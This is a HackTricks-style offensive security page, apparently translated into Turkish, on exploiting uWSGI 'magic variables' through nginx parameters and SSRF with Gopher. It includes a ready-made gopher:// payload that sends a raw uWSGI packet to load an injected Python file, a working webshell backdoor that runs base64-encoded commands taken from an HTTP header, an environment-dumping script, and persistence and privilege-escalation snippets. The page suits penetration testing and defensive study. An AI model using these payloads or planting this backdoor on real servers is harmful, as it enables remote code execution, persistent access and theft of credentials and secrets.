WSGI Post-Exploitation Tricks

Reading time: 5 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

WSGI Genel Bakış

Web Server Gateway Interface (WSGI), bir web sunucusunun web uygulamalarıyla nasıl iletişim kurduğunu ve web uygulamalarının bir isteği işlemek için nasıl zincirlenebileceğini tanımlayan bir spesifikasyondur. uWSGI, Python web uygulamalarını sunmak için sıkça kullanılan en popüler WSGI sunucularından biridir.

uWSGI Magic Variables Exploitation

uWSGI, sunucu davranışını dinamik olarak yapılandırmak için kullanılabilen özel "magic variables" sağlar. Bu değişkenler HTTP başlıkları aracılığıyla ayarlanabilir ve doğru şekilde doğrulanmadıklarında ciddi güvenlik açıklarına yol açabilir.

Key Exploitable Variables

UWSGI_FILE - Arbitrary File Execution

uwsgi_param UWSGI_FILE /path/to/python/file.py;

Bu değişken, rastgele Python dosyalarını WSGI uygulamaları olarak yüklemeye ve çalıştırmaya izin verir. Bir saldırgan bu parametreyi kontrol edebiliyorsa Remote Code Execution (RCE) gerçekleştirebilir.

UWSGI_SCRIPT - Betik Yükleme

uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;

Belirtilen bir script'i yeni bir uygulama olarak yükler. Dosya yükleme veya yazma yetenekleriyle birleştiğinde, bu RCE'ye yol açabilir.

UWSGI_MODULE ve UWSGI_CALLABLE - Dinamik Modül Yükleme

uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;

Bu parametreler rastgele Python modüllerini yüklemeye ve bunlar içinde belirli fonksiyonları çağırmaya izin verir.

UWSGI_SETENV - Ortam Değişkeni Manipülasyonu

uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;

Ortam değişkenlerini değiştirmek için kullanılabilir; bu, uygulama davranışını etkileyebilir veya kötü amaçlı yapılandırma yüklenmesine neden olabilir.

UWSGI_PYHOME - Python Ortamının Manipülasyonu

uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;

Python sanal ortamını değiştirir; potansiyel olarak kötü amaçlı paketlerin veya farklı Python yorumlayıcılarının yüklenmesine yol açabilir.

UWSGI_CHDIR - Directory Traversal

uwsgi_param UWSGI_CHDIR /etc/;

İstekleri işlemeye başlamadan önce çalışma dizinini değiştirir; bu, path traversal saldırılarında kullanılabilir.

SSRF + Gopher ile

Saldırı Vektörü

uWSGI SSRF (Server-Side Request Forgery) yoluyla erişilebiliyorsa, saldırganlar dahili uWSGI soketiyle etkileşime geçerek magic variables'ı kötüye kullanabilir. Bu durum özellikle şu durumlarda tehlikelidir:

  1. Uygulamada SSRF zafiyetleri bulunması
  2. uWSGI'nin dahili bir port/sokette çalışıyor olması
  3. Uygulamanın magic variables'ı doğru şekilde doğrulamaması

uWSGI, config dosyası uwsgi.ini içinde socket = 127.0.0.1:5000 bulunduğu için SSRF nedeniyle erişilebilir hale gelir; bu da web uygulamasından SSRF yoluyla erişilebileceği anlamına gelir.

Sömürü Örneği

Adım 1: Kötü amaçlı Payload oluşturma

İlk olarak, sunucunun erişebildiği bir dosyaya Python kodu enjekte edin (sunucu içinde dosya yazma, dosya uzantısı önemli değildir):

python
# Payload injected into a JSON profile file
import os
os.system("/readflag > /app/profiles/result.json")

Adım 2: uWSGI Protokol İsteği Oluştur

Ham uWSGI paketlerini göndermek için Gopher protokolünü kullanın:

gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json

Bu payload:

  • uWSGI'ye port 5000 üzerinden bağlanır
  • UWSGI_FILE'ı kötü amaçlı dosyayı gösterecek şekilde ayarlar
  • uWSGI'yi Python kodunu yüklemeye ve çalıştırmaya zorlar

uWSGI Protokol Yapısı

uWSGI protokolü şu şekilde ikili bir format kullanır:

  • Değişkenler uzunluk-önekli dizeler olarak kodlanır
  • Her değişken şunu içerir: [name_length][name][value_length][value]
  • Paket, toplam boyutu içeren bir header ile başlar

Post-Exploitation Techniques

1. Persistent Backdoors

File-based Backdoor

python
# backdoor.py
import subprocess
import base64

def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = "Backdoor active"

start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]

Sonra bu backdoor'u yüklemek için UWSGI_FILE'i kullanın:

uwsgi_param UWSGI_FILE /tmp/backdoor.py;
uwsgi_param SCRIPT_NAME /admin;

Ortam Tabanlı Kalıcılık

uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;

2. Bilgi Açığa Çıkarma

Ortam Değişkenleri Dökümü

python
# env_dump.py
import os
import json

def application(environ, start_response):
env_data = {
'os_environ': dict(os.environ),
'wsgi_environ': dict(environ)
}

start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]

Dosya Sistemi Erişimi

Hassas dosyalara erişmek için dosya sunumu ile birlikte UWSGI_CHDIR kullanın:

uwsgi_param UWSGI_CHDIR /etc/;
uwsgi_param UWSGI_FILE /app/file_server.py;

3. Privilege Escalation

Socket Manipulation

Eğer uWSGI yükseltilmiş ayrıcalıklarla çalışıyorsa, saldırganlar socket izinlerini değiştirebilir:

uwsgi_param UWSGI_CHDIR /tmp;
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;

Yapılandırma Geçersiz Kılma

python
# malicious_config.py
import os

# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin